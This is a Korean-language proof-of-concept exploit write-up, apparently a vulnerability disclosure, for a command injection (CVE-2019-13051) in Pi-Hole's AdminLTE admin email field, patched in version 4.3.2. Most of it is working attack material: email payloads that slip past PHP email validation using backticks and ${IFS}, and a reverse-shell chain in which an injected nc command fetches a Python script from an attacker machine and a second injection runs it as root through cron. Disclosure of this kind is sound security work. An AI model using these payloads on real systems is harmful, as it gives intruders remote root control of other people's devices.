
Pi-Hole AdminLTE 명령 주입(CVE-2019-13051)에 대한 개념 증명 익스플로잇으로, 이메일 필드 주입 및 cron 기반 실행을 통해 원격 루트 액세스를 가능하게 합니다.
Pi-Hole 버전 4.3.2에는 이 취약점에 대한 패치가 포함되어 있습니다: https://github.com/pi-hole/AdminLTE/pull/974
Pi-Hole 개발팀의 멋진 프로젝트와 이 취약점을 쉽게 보고할 수 있도록 해준 것에 대해 큰 감사를 드립니다!
설명된 "AdminLTE" 구성 요소의 취약점을 통해 원격으로 RaspberryPi 장치(또는 애플리케이션이 실행 중인 다른 장치/VM)에서 루트 액세스를 얻을 수 있습니다. 이를 악용하려면 AdminLTE 웹 인터페이스에 대한 관리자 액세스/자격 증명이 필요합니다.
더 자세히 설명하면, 정규 표현식 검사를 우회하고 "관리자 이메일 주소" 필드에 임의의 명령을 삽입할 수 있습니다. 이 명령은 "/etc/pihole/setupVars.conf"에 저장되며, 이후 10분 간격의 cron.d 작업 "/usr/local/bin/pihole updatechecker local"에서 루트 권한으로 구문 분석되어 실행됩니다.
공격자는 명령/코드 실행을 위해 cron 작업 "/etc/cron.d/pihole"의 10분 간격을 기다려야 합니다.
다음 세부 사항과 PoC가 문제 검증 및 재현에 도움이 되기를 바랍니다.
웹 애플리케이션에 인증되면 공격자가 명령을 성공적으로 주입하기 위해 우회해야 하는 몇 가지 서버 측 검증이 있습니다.
"savesettings.php" L:499에서 사용자 제어 변수 "$adminemail"은 FILTER_VALIDATE_EMAIL 내부 PHP 함수에 대해 평가되며, 이 함수의 검사는 상대적으로 약합니다.
그런 다음 이 검증을 우회하고 명령 주입을 증명할 수 있습니다. 관리자 이메일로 다음을 입력하여 예를 들어 백틱 세트를 큰따옴표로 묶으면 됩니다:
"`test>/tmp/poc_proof.txt`"@example.com

10분 이내에 "test"가 포함된 루트 소유 파일이 "/tmp/poc_proof.txt"에 루트 권한으로 생성됩니다.

더 의미 있는 공격을 수행하려면 공백(유효한 이메일 문자가 아니며 FILTER_VALIDATE_EMAIL 함수에서 걸러짐)의 제한도 우회해야 합니다. 이를 위해 내부 리눅스 변수 ${IFS}를 사용했습니다 (대부분의 Unix OS에서 기본적으로 공백).
PoC:
*참고: POSIX 셸 문법(예: &&, || ...)을 사용하여 한 줄 명령으로 자동화할 수 있습니다.
nc -nvlp 4444 < revshell.py
"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com

HTTP 프록시로 검사하면 HTTP 요청이 다음과 같이 보입니다:

cron 작업이 실행되어 스크립트를 가져올 때까지 10분을 기다리거나, 재현 목적으로 수동으로 /usr/local/bin/pihole updatechecker local을 실행하세요. 주입된 명령이 "/etc/pihole/setupVars.conf"에 존재하는지 (ADMIN_EMAIL 변수에 할당된) 확인할 수도 있습니다.
nc -nvlp 4445
“`python${IFS}/tmp/revshell.py`”@example.com
10분을 다시 기다리거나 (문제 재현을 위해 cron 스크립트를 수동으로 실행) 공격용 머신에서 루트 셸을 획득합니다.
